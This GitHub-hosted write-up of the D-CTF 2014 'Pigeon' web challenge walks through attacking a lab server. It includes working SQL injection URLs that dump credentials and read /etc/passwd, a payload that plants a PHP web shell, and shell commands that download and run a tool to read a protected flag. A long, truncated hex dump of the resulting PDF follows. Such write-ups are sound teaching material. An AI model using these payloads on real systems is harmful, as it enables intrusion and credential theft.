Skip to content

Latest commit

 

History

History
 
 

web-400

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 

D-CTF 2014: Web 400 – Pigeon

Category: Web Points: 400 Description:

You just have to accept that some days you are the pigeon, and some days you are the statue. 10.13.37.14

Write-up

Visiting http://10.13.37.14/ (when connected to the CTF VPN) redirects to http://10.13.37.14/index.php/auth/login which presents a login screen. Since the form didn’t seem to be vulnerable to SQL injection, we clicked the ‘Register’ link and signed up for an account. The registration form contains a captcha image located at http://10.13.37.14/captcha/1413716754.1985.jpg. Removing the filename from that URL results into http://10.13.37.14/captcha/ which is an open directory listing that contains some previously generated captchas.

Anway, after logging in, we’re presented with a list of files and their cost:

Welcome to our file conversion service, yourusername! You are logged in now. Logout

Warning! Beta!

Filelist:

The link for each file is of the format http://10.13.37.14/index.php?id=1. The id URL parameter seems vulnerable to SQL injection. For example, to list all usernames, passwords, and emails in the users database:

http://10.13.37.14/index.php?id=3%20UNION%20ALL%20SELECT%201,concat(username,0x3a,password,0x3a,email),3%20FROM%20cms.users--

Similarly, the contents of some files of the server can be viewed as follows:

http://10.13.37.14/index.php?id=3%20UNION%20ALL%20SELECT%201,LOAD_FILE(%27/etc/passwd%27),3--

We can also write files of our own:

http://10.13.37.14/index.php?id=3%20UNION%20ALL%20SELECT%201%2C%27%3C%3Fphp%20header%28%22Content-Type%3A%20text%2Fplain%3Bcharset%3Dutf-8%22%29%3B%20echo%20system%28%24%5fGET%5B%22x%22%5D%29%3B%20%3F%3E%27%2C3%20INTO%20OUTFILE%20%27%2Fvar%2Fwww%2Fhtml%2Fcaptcha%2Fshell.php%27--

This creates a simple PHP shell, accessible through http://10.13.37.14/captcha/shell.php. The x URL parameter takes a command to be executed. For example, http://10.13.37.14/captcha/shell.php?x=id reveals the current user:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

http://10.13.37.14/captcha/shell.php?x=ls%20-lsa%20%20/ reveals that there is a file at /flag.txt:

4 -rw-r-----   1 root ubuntu   21 Oct 17 01:27 flag.txt

Sadly, this file is not readable by the www-data user.

Let’s take a look at the active processes on the server. http://10.13.37.14/captcha/shell.php?x=ps%20fuwax reveals some interesting ones:

ubuntu    9170  0.0  0.0  27220   604 ?        Ss   Oct18   0:00 SCREEN -S o
ubuntu    9171  0.0  0.0  21096   764 pts/2    Ss   Oct18   0:00  \_ /bin/bash
ubuntu    9222  0.0  0.0 141188   808 pts/2    Sl+  Oct18   0:00      \_ /usr/lib/libreoffice/program/oosplash --accept=socket,host=localhost,port=2002;urp; --headless
ubuntu    9260  0.0 15.6 1400344 321088 pts/2  Sl+  Oct18   0:10          \_ /usr/lib/libreoffice/program/soffice.bin --accept=socket,host=localhost,port=2002;urp; --headless

LibreOffice’s soffice.bin accepts socket connections on localhost:2002. Using unoconv we can connect to it, and tell it to convert /flag.txt to a PDF. After reading the documentation we come up with the following command to do this:

unoconv --connection 'socket,host=127.0.0.1,port=2002,tcpNoDelay=1;urp;StarOffice.ComponentContext' -f pdf /flag.txt

Let’s install unoconv on the server (it’s just a matter of downloading a single file) and run the following command:

mkdir -p /tmp/flag; cd /tmp/flag; wget https://raw.githubusercontent.com/dagwieers/unoconv/master/unoconv; UNO_PATH=/usr/lib/libreoffice/program/ /usr/bin/python3.4 /tmp/flag/unoconv -v -f pdf --connection 'socket,host=127.0.0.1,port=2002,tcpNoDelay=1;urp;StarOffice.ComponentContext' --stdout /flag.txt | xxd -p | tr -d '\n'

So our payload becomes:

http://10.13.37.14/captcha/shell.php?x=mkdir%20-p%20%2Ftmp%2Fflag%3B%20cd%20%2Ftmp%2Fflag%3B%20wget%20https%3A%2F%2Fraw.githubusercontent.com%2Fdagwieers%2Funoconv%2Fmaster%2Funoconv%3B%20UNO_PATH%3D%2Fusr%2Flib%2Flibreoffice%2Fprogram%2F%20%2Fusr%2Fbin%2Fpython3.4%20%2Ftmp%2Fflag%2Funoconv%20-v%20-f%20pdf%20--connection%20%27socket%2Chost%3D127.0.0.1%2Cport%3D2002%2CtcpNoDelay%3D1%3Burp%3BStarOffice.ComponentContext%27%20--stdout%20%2Fflag.txt%20%7C%20xxd%20-p%20%7C%20tr%20-d%20%27%5Cn%27

This gives us the hex-encoding of the generated PDF file:

255044462d312e340a25c3a4c3bcc3b6c39f0a322030206f626a0a3c3c2f4c656e6774682033203020522f46696c7465722f466c6174654465636f64653e3e0a73747265616d0a789c2d88b10a83401044fbfd8aa92d2eb39b78e781042224bdb0901f88095808daf8fbd9e21898796f9814a7ec6024aba154c3b1c8bbc3d65ee2f8c9e4d2e734a0584e15fec1e5a550c2bf2395c62b6fd1c63e28372bb1036bf88313edeeab3c5d6699f107a0cc18670a656e6473747265616d0a656e646f626a0a0a332030206f626a0a3130350a656e646f626a0a0a352030206f626a0a3c3c2f4c656e6774682036203020522f46696c7465722f466c6174654465636f64652f4c656e6774683120393332303e3e0a73747265616d0a789ce5396b541be795f79b194948023d78088c008d18100f0102090ce62519d0180cc4e2e5805f4846e2616cc048766227ad6962c7b6fca249d649376ee336ed6e9a473dd8c91a278ee3363d7bd2366dbdbbedd93dad5dbb69daedd9c671b7a7e9eed98d61ef37120e769bec39db3d677fac9899efdefbddd777bffbddef9b2132bd2b048930032c78867604a672934cc900f00e00491eda1de15fdf9a9687f00d00a67e786a6447a1eba71f007059002ac5c8f63dc3cd3fad2b01d0228ff6dba3a1403069e5e10a00d3af51c7ca51243c73fb0525403a8f78dee88ec8838dcc8b1ce22d88676e9f1c0a3426971b11f7537c47e0c1a959f6eb2ce20f23ce4f047684ea4ddc3f217e0a20c13335198ef4826d01c07295f64f4d87a66efdcb5f3e86f847e8d336a411fca3bf4404951467584ea15425a8355af87ff953bca378073ea3f0421af8e5e75d3fae1652e10180c5f729f6f173e1feff5d2f1262cd2bf006bc00a7e16d840ec4bb0ec167e16b70f92ef637e13bf0221c858bf00c1cfb14b51750cfc332f4240c7e321b791e26e141f82ada7d14f5bd0e5b4894b0e087087c0ee6d1b68f9be3de5ae880df90b3f01651c343c4ce9c441f4e7e82c2c7e17918c7e7797c3e4309ccefe071a6112698afb15e388c23f4331d487e0b6ddf075f251b610baeb031f402101abd4b978d5d0b07e12184762def513cc2b840bbf87bf4f8309c404fc660276c84ee78f7590657091c632d389a6fc0ab32edc892acf2ebec14739149b8fd05f83cfe75e25f1082e473f02c3cbf30ba700a9e215ee285d9853f403aec5578994e485cfc40f134730426a003b68208bf861685d1e31de8efebede9eef2adbbafb3a37d6d5beb1ad1dbd2dcb4dae36e6ca8afab5d5553bdb2aaa2dc51565a525860cbcf1372ad968c54a341af4bd26ad4092aa582631902255e41f4f392cd2f7136a1b5b594e2420009816504bfc42349bc9b47e2fd321b7f37a7073987efe1f4c4383d77388981af87fad212de2bf0d2f75b047e9e6ce8ea47f8588b30c04b3765b85386399b8c242162b5a204efcd186de125e2e7bd92b87b34eaf5b7a0be39ada659680e694a4b604ea345508b9054284ccd91c24622034ca1b7768e8184246a5662f3bd81a0e4ebeaf7b698add681d292364927b4c85dd02cab9494cd924a56c98f51d7e1083f5772397a74de005bfdf6c4a0100c6cea97d800ca46596f347a5032daa522a1452adafb5e068e3c2495082d5ec94eb5b677dfb1d3feb1492229f20d021ffd107038c2cdf7efa604e21465bee143a0a088e18d46458117a3fe68607e7166abc01b84e85c626274ca8b11065f3f4acd2fbe76c42c89470724837f94d4c6072b76b74b295d1bfb25265fe4470348c1cb2d586bcc56e3c0128fef93ba010381e1c0985aad74e047e63db0151169a6ab3f86f3b0d57c163c0efb80c4f869cfe5a59eb43eda33b3d47347dc2fe06cb6f7f447252ebf2d287831c64702d2cc56cca76d742a0483a4fb83d92a44938dfc2ac780cccba3576dc1315e52d8302c28b55c0033858a440d32a2fb43acb9694603366332bf4a4035548f57f0fae3d7eed10c54c0979648adf6d8d4f7f64b9e16043c81f81c79e7ca1d2811f0e3148db5c8d327398429295568ba339fd42def584fbf2c121793529b25f00fc5a52487b7855ae6bd517f4bcc05aa4be8eabf00aec51b7395bcf99c0b2a61a085329b9a31af6cde687f7058b2f8cd415c69c37cbfd92a790670820784fed0004d348c50d10d3467952d4a4c736f7f7b8fd0deb5a1bf26ee48ac83aae3f2bdf7a811facd3135987252427e02dfcf98d901643420811711109aeaf129a9f213f03660c0652a4dd5a67abe9f9861891bdd908a786fa825ce47f1bb942a683a35b72e69535214f534b79aad03d6d8afb484c16e3e6e18251268505b97bad87cac044863508d4ca2b1cca039cff70b21614018e5258faf9f8e8d86478e723c1872cce373d57b17b62c581826b062f7124283298976f3f2e04a6b64fc0eda7a4f77db52371f4d10da7ba254b9105708e8799b0434853d3546b3bcfae97a16c4002e625cd1f27a8ece793c742d8fd2651b15da8251a1a7bf5ee6c60af219f35e6a2b19da497b6f53690916b3a639811cea9af390433d1bfa2f18f0d875a8b7ff2c4398667fd3c05c1ef6f55fe0013c3295a1544aa4084f11aaa91b910499df7cc1033023f7723241c687e609c8b484251a81a1792646332cd118a471319a47a6d11fce52c628c618ebb7970fd2f979786034ea1fa0390e268c085e442242234647689c238c3251d208a126492b3451ba9bd2dd31ba92d2559819c4444a4bf6460d5ee1c38c52797b073caf3241451f9e9255503647c0517f56c565dd74ce291557ebcfb20c8230c752b28292cfaa94d91fd59f2594ee325a8df956a3b585e117f2c8d30ba38abeff78b185fb3e3d9850e5dc3b782e73920e8fd19a90089d4c86813eb489d061985ffcf52b14c89c5ffcadc7603042474586113a2be4de5424cabdc2fce20d4f96560f1db919f2d3a0814ec26b911d782a04c8f04a922e0ea835d0914c151a695f7221ed482ea45423559442e572d54e35c3706a4248b76017e689ca93a826a96a221849776e662e25b4aa8da96ab511487785bd628b13529d4e4826dda999a95b529253e9655767b2290627713a2b53d48edc75b983b96c6e6e66450a6bcf04929749328d844d4e0677ba6bb3d16574b95dc9ab1c9b5dc46174393627a7af32c0370f2aec07eddf3e986158d6506a860c6c1edc4cec77ff2acae9d32ab0656c81ad40a9d2b12a56605d293924dd94beb2ba91ad4e418445c4d9c820ccfec79551854eaf57198dc946955eaf536cbbf20f6fec48d02a149cc1a0d2e975ca1d677628b155190c44a949548ebe411e4da9ac73e7881d9d628ebbce95b280e7eb8fde58fd70c52a97b739bba1be3a9d9c58d869aaa96bc86e165b86f7ae649b690e1d587c9f13b9fb80073bcc7a42c13c1264495bd140d15811db963790c7ecca3e90cd3c9075308b79507748c7ec4d8a26312d4c2f1364d88235168bb6ed879aeb9a450d0b1a83c6af61359a521bac81b41b694c1af86c3685d5976950f80cd735b734cc8c8668340613b831949b0d37dd3731b4378963f34d278d31368e9b15e5b039f62378a5e6302e1a92741d2be4963155958d88e730d984e4ea1895b58c254db68e9d6bab37af75267ec9e0d9f6f468f86f3edbbceeb133fe475f9d762de49785d6d7b14c6b4265e756f26f7d274656ad2869c82b2dddd8e6683dfee363a77ef4484def533f9ac9207f9fbd76dfd62d9fede0e5fc3f87f9bf0263920f0d1edb54ee4c2ec35953ad11eb7e2b972f0214ac481421692689495aa1f4590c29fa247c83713bddee9baea5b1c4866135569631027a9a66142858e0ca61d35c8d2c1d429a910d5aeb7ce575239d25af1086212fe05b21c366aceedbd6d433737f2973de37d29051daf799aedbc7d89edcf6e67295a264555daaa3a32abb64d36ce8b6235603a28bbfe256e0db94055c30ee696fc9edcd0de6b2edce8dce71275b4bb611a64a4314aa34d52ed50115a7e132b9bd5c94e352c462f02593d9e4d3c94c727215bf0694449999960c0e9f36c190ef0396ced24d7ab9e9a0e8fcec74b93e9e9e7c1d117219a3c1ea34a5bb2a6d95b62a5c2c385de942195bb5346f55f1f1b35b2abeb2e7bb97c8a13dcf553084c8e37d89e039fcf6cfb31bfccddef1b6fcfcd66d5e8fdfcd7f636c102b5d06b372fd5645b1b3544d9efbcf9482d67abb9acb73d66692ed53a7472bcac79e7f30f2457f71d9f073720c6630870fe17c3961357ccde38ee691bd39d11c66ac614fc3e106367f65d54a26855727b62a718131d9ea5275839a5594a69532c012962d17cd89eb6a066b989a9ab466db9a82f9c57ff7945e2e2005056ecc6392b6aacb6c7695e86d161be3b09db02dda589bcdea2b31b87cc9d0a5522526d348b91c37693e635eef342e25352235378d72f570616a6f8ec5ce2e47cfb9b23a8d46109342a0b96da3a9ed264b015315d02c31a519534df918c7068225232dd5c475ea7374b9cd36575b5906abcc6ae99f5efba5d3eb669eeb7ddf5cdd5be3ecaacd575ed454079f1a7ffb3bc5b77fd2b3b7abf052f5e440cdc024c74e252498abbb5656f6d6f12f9d1c3f7c9f857075cd5b6acdfa826697d1337e9ffdf5b985325f97d2ed8f540d70445fbeb1a33b886b01dfcdb9797c232f26dd1e4324677f0e23e6accf61f2722a7119d2d2bc3625a375369b84b269a160f3b22bb31965b6299bc9e2b1e3d92c329ef550d6912c363bab34ab218bd5669187cc47cc8c99d7ea5a757c92b1355357acabd5b15a1d49a2ea2c545d12c94faa4ada9574208923b21a428a492dd98befc794670ac5d270755601cb2a81e848b7c16468d7eb52b1522691ee2c5356872a29559584fb44b690dda122a92a92adc23da148286a2f86d462105426569f5a1c29de5fcc161797e88b8755c4a9228c2a2bcb54546c60f57ac1b4cb74c0c4989208e8d2e804bbe876809b02cea76b70f366c79d0de120adfa863bf5ff60c6b25da1a29ce07660dfbc74c9931f4b01faa03b0289ed0824be23b069b81f10793fa09b43657c3f78e74442aa5aabc62b55f3e4f7ce9fddcc6ab5095ac45407bff9883245add5242426b22189fca3d9cbe7e7e7e759d658164ab9dadb5fcee8f36fca2e2d12da52c9f30bf7a7ae118aca72360cae5fc10cca6be7dcc2fd5c13e78342a88790a7255847c4baf575ccb89db4d907ec8cd266b2edb63d66e32aada42e81ec610fb30cacf11791a2a246578e5184e4192c2065be9c3c4386de68aef16914b1c2e1c6875c0de5d2beacac6351d731b1c4c7c1fe7161542dd5cc780de19a0a379d9ca80eae6f4e57e0ce4f5ea5c5e30cae5b965be1f6051b274e6e2a7c2da32ed05637da598a55a4a56d6bdd0a26f7a12b27fb524b44276329abcd5e1850b0856beb8ad56c7e657d66654745baef891f7c26786abc263ff0d2c1f01703c5ab26be227f9481c730df37613d5583cb939990a0e038b40ae269055128345a952f01fb7d2c66c44da71b173759e5d8896b1b53018759519e6f4db356e1b1aacacadc200f7f544cfe6ae13af9f1f1e3c739e978ac5e9f58e8e772b876a8002f9cf234ee2d8f9633c36ee24dec4b0c25b2edb51b6bc76bd92a2b5164a7c92b8ad3a467a6ef4d8fa6730ed199ebd39159dd691da3d365ae518a8ad7167f0b8ac5cb9e427d5aab4251bf46ca2490792593c92cd457fb722d86d53e7d5a9ada07bcb25cc9289560c66dca4137de5865c7f9d98955ca1eaf5277d5f7cd844e51750e71c9f54758be01d38a8f79e9c29a644c55a6dc3361ccc886c3430d49f3c69d9b566d5c2d3029753d13adc3b39becf6c1a72776fe7529ce9c82bc4867f147d6f275a1aae6ad9e9c1c77a0a96ad857b1d06f5bb3b57e457b576efb83ebbf55d8512b343df6dd838fbe736ced586045637521abb6d7b7157cf4b7bff825fbc39d5f1a2a291dfae2ce5da7b614d8fdcfe0dc5dc07dc082b52a1fbc9e927db927729987ac47ac8cc69a692db6b2abb2c80a9da8d5161011f266f2983cba7b9b52d31241bf6cf7a6c5db158f02312eed63cbf6b6a54818c98ef4aa3eb767a4ade0d58ff7efccc6ee6de286477a0b70e975afdbb6da4c777026fcd1cbf7eee09f0f327f173b6b13e36f563ef7f8cf06f5f51f8225f64df207d16bcb3ec6e10aa5df4be9074b66e9e321fd9e76fb0bcb3f27def33590e0599e7ecfa65f34cf411466b0929fc3ec3e0117e4fe12928b5bf04bf872b49f7572b9dc0bdc4f148714efc635258218b7c580011cb001802d65d3f14d8352b3c8fa3bf6fc776c138ca33f0e33f84632198759c884dd7198439ed938ac001d3c1b879508bf1c8755b0175e8fc309904aaae2b01a74a42d0e6bd187fbef7c552f23e1389c0493e4cb7158078d8c01ad134e8dd865e6be384c2087d5c56106746c491c66a192ad8dc31cf24cc4610564b147e3b012e1e7e3b00a7ecf7e3b0e274021371f87d590c5dd88c35aa8e13e8ac389b04951198793e0678ad938ac83879513cd93537ba6c74646237ce15011ef2c2fafe6bb4341be351029e1db2686caf8d5dbb7f33243989f0e8543d3bb43c132bea3adc9dbbdbab76ddd7dfc58980ff091e94030b423303dce4f0edf2ddf31b635341d888c4d4ef09d931393dda1915ddb03d3abc343a18960689a2fe5ef61b8075d1f9a0e53b8a2acbcbaccf571e73dacff8d13e8f9c85838129a46e2d804df57d653c6fb0291d044840f4c04f9de3b82eb8687c78642327128341d0920f3646414fddcb66b7a2c1c1c1ba2d6c26577dc6f9e9c9e9a8cf9d01309ed0ef19d814824149e9c188d44a66a1d8e071e78a02c10671e42deb2a1c91d8e4feb8bec990a0543e1b191091c78d96864c7f60e7468228c8eef922da237cb43264e4ee0c46c8ff194f0e15088a7eac3a87f381444d7a6a627b78586226593d3238e07c6c6c71c317d6313238e8fd5502d713b7f9e3434e3ea9b823d300d633002a310c1f7bb421882226c9d508e7fd50875430882d8b64200394a106a8309e42a4368356cc73f7e9986b08c85b00d61bb5b96a59c1d28d584bb5937caf422bc0ee8dbe498cc1fc03b82dc01e40dc10e6ca7611c699330fca9f63b507eab6c87f6d0ff514c606fa7dc4eca7223b00bfda3fa56a3a521a44cc836a691af54f6ead3347c7aef7ab9277c875e811ed18895e13bd69f92fc74ad7f5e2462311f91b54464dd31ce3159771f72f4c85c3e59924621225b9b90b97aff84c575687118e569cc3ee61c927547108f699e4478341ecf6d18eb69d983a02cb734b6305afee3e8d3dc9bc6ec9bbc2b0e3db277bb659b9d323d22e712ed1b95b129a8c59dc6010fc87f65c873b7e6a1b8de3219da819cff53b908ae8c29398e21799647903736e365b2ce1d98591df1084dc8f94e23b46bd91863b1f9a42c13e536b662b6dfa587ce2c6da9ec92f7e1b8ffc3b29d58d4a6f03989710fc9d12e93a923f218c7700ec7105aee1f9db19138ed5e6f967cb97b3cff97b6d9f8a946c0ecfc133f4f50cd72b7c987be42cbefc442cbbf8ac596df8a5596231f3cf3c18b1fb0e3b78edc625ebf45be7a8b986f6dbc357e8be5de6f799fd1fc465cb4fcf37b36cbafde6bb0fcf2bd1ccb2fde152dda7789e75dd164f9f90dd1f2fa8defddf8e90dd673c3b552bc2166582e92546824c9d047523c890d6cdff5866b7d3f6bb8daf7fa6a3531e111a1179f41bc99c5cbc4742ed124f2f3c474963070118906da41d2ce5e6db0cc13a367885db418aef1d73cd77cd766ae49d794fc55dfd599abd2554e7f955c49735906df9e7c7bdfdbece05b936fed7b8b7df35be49b3e9b65ea12e12f955fba7c899dba347389d15fb45c641c17dd17272f9eb978fda2e2c2cb360b3f5f3eef9b9f9a9f9957cce3293f6b3ea548349c27fc79dff999f3d2796ee655e955467fce7deed639769e2479ec2fb45a66a4598991a4cbd21589759c719f614ebf2cbdcc5c7ef9cacb8ce325f74bccb32f92cb2f5c798159ad277a70121d96107c83c621e980c77b0a6f3ca41183278df84ef94f4d9d62bf70d266795ab459ca9ff23cc5a01fe74e9ab244ea4ff1499d51fc0bf3a245ffe49927df7c92f53c995d217a9e3499f191a817f54f389e703fb1ef895b4f28f4af91443c99257a78e6f16336cbe77b162dd76749f92cb1cc3a6699c9d97db3f8626438c19f60a95efe444696c81f2f3fceac3b36786cf2185b7e94e88f5a8e3a8eb29ea38614d1f026d1a2b35a28c79bc509d29e4de7c50b14f0f80ca9e291476c96c36beb2d870e36580eeeafb73cb676d1f2ec0162d8cfef2fdfcf963f4af63d423c8fa813c5304ec324e6d604de9924a36f852ba34fe562fb9438a17eec1bc4fbc2e20da23a6bb18932e0b1a464895b36b45a368915968dd86ec036c599dca7206c1fe764fbe649c2abe67a8b9e2517c80a9271b6cae299c726bd509c271a4f3e2aecf6992db7ba16bb184f57558de8e9ca2f147fe823d73b4887986d69175b2dbe7962f66c206b31e46de8582bde6bf03e2392ebe22d91991189c999d66724fa3e8353dfc710cc6120168bdead1fd4efd3737abd43bf4e3fa93fa1bfae5fd4abdc48bba567f130be0ec86913519079323bd7db63b7b7cfab16bbdb25b56fa3440e49f93df4e9e9da20290f49d0b76163ff1c21c7070e1c3b064dd9ed92b3a75ff2670fb44b41043c149841c0903d6782a68170241cd9257fe82671200c767b2482ad8cc83d78c39d0fe28422c41e8e44c2710a4a2016b1ef929ff670581624b234a001541dc68a8a02117b18cffbb441096a10250996339441def06058b62cdbc0764b58364b1000648884638e843306b700fc175c495b490a656e6473747265616d0a656e646f626a0a0a362030206f626a0a353939340a656e646f626a0a0a372030206f626a0a3c3c2f547970652f466f6e7444657363726970746f722f466f6e744e616d652f4241414141412b4c696265726174696f6e4d6f6e6f0a2f466c61677320350a2f466f6e7442426f785b2d3234202d33303020363037203833325d2f4974616c6963416e676c6520300a2f417363656e74203833320a2f44657363656e74202d3330300a2f436170486569676874203833320a2f5374656d562038300a2f466f6e7446696c65322035203020520a3e3e0a656e646f626a0a0a382030206f626a0a3c3c2f4c656e677468203237332f46696c7465722f466c6174654465636f64653e3e0a73747265616d0a789c5d91cf4ec42010c6ef3c05c7f5b0a1addb5d4d9a266b75931efc13bb3e00856925b140283df4ed85a16ae201f21be6fb2633036bdac7562bcfde9c111d783a282d1dcc667102680fa3d2242fa854c26f11de62e296b0e0edd6d9c3d4eac1541561ef21377bb7d2dd599a1e6e087b75129cd223dd7d345d88bbc5da2f98407b9a91baa6128650e799db173e0143d7be9521adfcba0f963fc175b5400b8cf3d48a301266cb0538ae47205596d5b4ba5c6a025afecbe59ba51fc42777419a07699695a73a70817c2c23df221759e4437a7f8a5c263e443e26ce239f904f58e72e317aef93a6897c4e8c9a87a429b1c9ad9bd86edce7cf1aa8589c0b2bc0a5e3ec716aa5e1f75facb1d185e71b3a3884eb0a656e6473747265616d0a656e646f626a0a0a392030206f626a0a3c3c2f547970652f466f6e742f537562747970652f54727565547970652f42617365466f6e742f4241414141412b4c696265726174696f6e4d6f6e6f0a2f46697273744368617220300a2f4c617374436861722031310a2f5769647468735b3630302036303020363030203630302036303020363030203630302036303020363030203630302036303020363030205d0a2f466f6e7444657363726970746f722037203020520a2f546f556e69636f64652038203020520a3e3e0a656e646f626a0a0a31302030206f626a0a3c3c2f46312039203020520a3e3e0a656e646f626a0a0a31312030206f626a0a3c3c2f466f6e74203130203020520a2f50726f635365745b2f5044462f546578745d0a3e3e0a656e646f626a0a0a312030206f626a0a3c3c2f547970652f506167652f506172656e742034203020522f5265736f7572636573203131203020522f4d65646961426f785b30203020363132203739325d2f47726f75703c3c2f532f5472616e73706172656e63792f43532f4465766963655247422f4920747275653e3e2f436f6e74656e74732032203020523e3e0a656e646f626a0a0a342030206f626a0a3c3c2f547970652f50616765730a2f5265736f7572636573203131203020520a2f4d65646961426f785b203020302036313220373932205d0a2f4b6964735b203120302052205d0a2f436f756e7420313e3e0a656e646f626a0a0a31322030206f626a0a3c3c2f547970652f436174616c6f672f50616765732034203020520a2f4f70656e416374696f6e5b3120302052202f58595a206e756c6c206e756c6c20305d0a2f4c616e6728656e2d5553290a3e3e0a656e646f626a0a0a31332030206f626a0a3c3c2f43726561746f723c464546463030353730303732303036393030373430303635303037323e0a2f50726f64756365723c464546463030344330303639303036323030373230303635303034463030363630303636303036393030363330303635303032303030333430303245303033323e0a2f4372656174696f6e4461746528443a32303134313031393134313532325a27293e3e0a656e646f626a0a0a787265660a302031340a303030303030303030302036353533352066200a30303030303037313338203030303030206e200a30303030303030303139203030303030206e200a30303030303030313935203030303030206e200a30303030303037323831203030303030206e200a30303030303030323135203030303030206e200a30303030303036323933203030303030206e200a30303030303036333134203030303030206e200a30303030303036353036203030303030206e200a30303030303036383438203030303030206e200a30303030303037303531203030303030206e200a30303030303037303833203030303030206e200a30303030303037333830203030303030206e200a30303030303037343737203030303030206e200a747261696c65720a3c3c2f53697a652031342f526f6f74203132203020520a2f496e666f203133203020520a2f4944205b203c36383932393934393437383944363833443145384339353431423436353046413e0a3c36383932393934393437383944363833443145384339353431423436353046413e205d0a2f446f63436865636b73756d202f37303137383031394639464137433239314544353538314243363544344545330a3e3e0a7374617274787265660a373634370a2525454f460a255044462d312e340a25c3a4c3bcc3b6c39f0a322030206f626a0a3c3c2f4c656e6774682033203020522f46696c7465722f466c6174654465636f64653e3e0a73747265616d0a789c2d88b10a83401044fbfd8aa92d2eb39b78e781042224bdb0901f88095808daf8fbd9e21898796f9814a7ec6024aba154c3b1c8bbc3d65ee2f8c9e4d2e734a0584e15fec1e5a550c2bf2395c62b6fd1c63e28372bb1036bf88313edeeab3c5d6699f107a0cc18670a656e6473747265616d0a656e646f626a0a0a332030206f626a0a3130350a656e646f626a0a0a352030206f626a0a3c3c2f4c656e6774682036203020522f46696c7465722f466c6174654465636f64652f4c656e6774683120393332303e3e0a73747265616d0a789ce5396b541be795f79b194948023d78088c008d18100f0102090ce62519d0180cc4e2e5805f4846e2616cc048766227ad6962c7b6fca249d649376ee336ed6e9a473dd8c91a278ee3363d7bd2366dbdbbedd93dad5dbb69daedd9c671b7a7e9eed98d61ef37120e769bec39db3d677fac9899efdefbddd777bffbddef9b2132bd2b048930032c78867604a672934cc900f00e00491eda1de15fdf9a9687f00d00a67e786a6447a1eba71f007059002ac5c8f63dc3cd3fad2b01d0228ff6dba3a1403069e5e10a00d3af51c7ca51243c73fb0525403a8f78dee88ec8838dcc8b1ce22d88676e9f1c0a3426971b11f7537c47e0c1a959f6eb2ce20f23ce4f047684ea4ddc3f217e0a20c13335198ef4826d01c07295f64f4d87a66efdcb5f3e86f847e8d336a411fca3bf4404951467584ea15425a8355af87ff953bca378073ea3f0421af8e5e75d3fae1652e10180c5f729f6f173e1feff5d2f1262cd2bf006bc00a7e16d840ec4bb0ec167e16b70f92ef637e13bf0221c858bf00c1cfb14b51750cfc332f4240c7e321b791e26e141f82ada7d14f5bd0e5b4894b0e087087c0ee6d1b68f9be3de5ae880df90b3f01651c343c4ce9c441f4e7e82c2c7e17918c7e7797c3e4309ccefe071a6112698afb15e388c23f4331d487e0b6ddf075f251b610baeb031f402101abd4b978d5d0b07e12184762def513cc2b840bbf87bf4f8309c404fc660276c84ee78f7590657091c632d389a6fc0ab32edc892acf2ebec14739149b8fd05f83cfe75e25f1082e473f02c3cbf30ba700a9e215ee285d9853f403aec5578994e485cfc40f134730426a003b68208bf861685d1e31de8efebede9eef2adbbafb3a37d6d5beb1ad1dbd2dcb4dae36e6ca8afab5d5553bdb2aaa2dc51565a525860cbcf1372ad968c54a341af4bd26ad4092aa582631902255e41f4f392cd2f7136a1b5b594e2420009816504bfc42349bc9b47e2fd321b7f37a7073987efe1f4c4383d77388981af87fad212de2bf0d2f75b047e9e6ce8ea47f8588b30c04b3765b85386399b8c242162b5a204efcd186de125e2e7bd92b87b34eaf5b7a0be39ada659680e694a4b604ea345508b9054284ccd91c24622034ca1b7768e8184246a5662f3bd81a0e4ebeaf7b698add681d292364927b4c85dd02cab9494cd924a56c98f51d7e1083f5772397a74de005bfdf6c4a0100c6cea97d800ca46596f347a5032daa522a1452adafb5e068e3c2495082d5ec94eb5b677dfb1d3feb1492229f20d021ffd107038c2cdf7efa604e21465bee143a0a088e18d46458117a3fe68607e7166abc01b84e85c626274ca8b11065f3f4acd2fbe76c42c89470724837f94d4c6072b76b74b295d1bfb25265fe4470348c1cb2d586bcc56e3c0128fef93ba010381e1c0985aad74e047e63db0151169a6ab3f86f3b0d57c163c0efb80c4f869cfe5a59eb43eda33b3d47347dc2fe06cb6f7f447252ebf2d287831c64702d2cc56cca76d742a0483a4fb83d92a44938dfc2ac780cccba3576dc1315e52d8302c28b55c0033858a440d32a2fb43acb9694603366332bf4a4035548f57f0fae3d7eed10c54c0979648adf6d8d4f7f64b9e16043c81f81c79e7ca1d2811f0e3148db5c8d327398429295568ba339fd42def584fbf2c121793529b25f00fc5a52487b7855ae6bd517f4bcc05aa4be8eabf00aec51b7395bcf99c0b2a61a085329b9a31af6cde687f7058b2f8cd415c69c37cbfd92a790670820784fed0004d348c50d10d3467952d4a4c736f7f7b8fd0deb5a1bf26ee48ac83aae3f2bdf7a811facd3135987252427e02dfcf98d901643420811711109aeaf129a9f213f03660c0652a4dd5a67abe9f9861891bdd908a786fa825ce47f1bb942a683a35b72e69535214f534b79aad03d6d8afb484c16e3e6e18251268505b97bad87cac044863508d4ca2b1cca039cff70b21614018e5258faf9f8e8d86478e723c1872cce373d57b17b62c581826b062f7124283298976f3f2e04a6b64fc0eda7a4f77db52371f4d10da7ba254b9105708e8799b0434853d3546b3bcfae97a16c4002e625cd1f27a8ece793c742d8fd2651b15da8251a1a7bf5ee6c60af219f35e6a2b19da497b6f53690916b3a639811cea9af390433d1bfa2f18f0d875a8b7ff2c4398667fd3c05c1ef6f55fe0013c3295a1544aa4084f11aaa91b910499df7cc1033023f7723241c687e609c8b484251a81a1792646332cd118a471319a47a6d11fce52c628c618ebb7970fd2f979786034ea1fa0390e268c085e442242234647689c238c3251d208a126492b3451ba9bd2dd31ba92d2559819c4444a4bf6460d5ee1c38c52797b073caf3241451f9e9255503647c0517f56c565dd74ce291557ebcfb20c8230c752b28292cfaa94d91fd59f2594ee325a8df956a3b585e117f2c8d30ba38abeff78b185fb3e3d9850e5dc3b782e73920e8fd19a90089d4c86813eb489d061985ffcf52b14c89c5ffcadc7603042474586113a2be4de5424cabdc2fce20d4f96560f1db919f2d3a0814ec26b911d782a04c8f04a922e0ea835d0914c151a695f7221ed482ea45423559442e572d54e35c3706a4248b76017e689ca93a826a96a221849776e662e25b4aa8da96ab511487785bd628b13529d4e4826dda999a95b529253e9655767b2290627713a2b53d48edc75b983b96c6e6e66450a6bcf04929749328d844d4e0677ba6bb3d16574b95dc9ab1c9b5dc46174393627a7af32c0370f2aec07eddf3e986158d6506a860c6c1edc4cec77ff2acae9d32ab0656c81ad40a9d2b12a56605d293924dd94beb2b